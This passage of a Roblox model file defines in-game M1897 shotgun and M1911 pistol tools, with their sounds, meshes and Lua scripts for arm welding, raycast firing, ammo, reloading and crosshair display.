						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4691">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://roblox.com/asset/?id=10209845 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4692">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4693">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4694">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4695">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4696">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(0, 1.4, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4697">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">M1897</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 11
-- How many times per second the gun can fire
local FireRate = 1 / 1.25
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 200
-- In radians the minimum accuracy penalty
local MinSpread = 0.05
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 6
-- DefaultValue for spare ammo
local SpareAmmo = 60
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.0125
-- Time it takes to reload weapon
local ReloadTime = 5
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(.75)
&#9;&#9;&#9;script.Parent.Handle.PumpSound:Play()
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;for i = 1,12 do -- Shotgun effect :P
&#9;&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;elseif not hitPlayer then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;Handle.PumpSound:Play()
&#9;&#9;&#9;wait(.2); Handle.Flash.Enabled = false
&#9;&#9;&#9;Wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4712">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.150000006</Y>
					<Z>-0.300000012</Z>
					<R00>0.949163854</R00>
					<R01>2.38418579e-007</R01>
					<R02>0.3147825</R02>
					<R10>0.314766586</R10>
					<R11>0.0100479722</R11>
					<R12>-0.949115992</R12>
					<R20>-0.00316317379</R20>
					<R21>0.999949574</R21>
					<R22>0.00953710079</R22>
				</CoordinateFrame>
				<string name="Name">M1911</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080014</url></Content>
				<string name="ToolTip">M1911</string>
			</Properties>
			<Item class="Part" referent="RBX4713">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-15.1999998</X>
						<Y>-68.5999985</Y>
						<Z>35.9000015</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1.60000002</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4714">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=72012879</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.39999998</X>
							<Y>1.79999995</Y>
							<Z>1.79999995</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4715">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1.10000002</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4716">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697432</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4717">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4718">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4719">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX4720">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
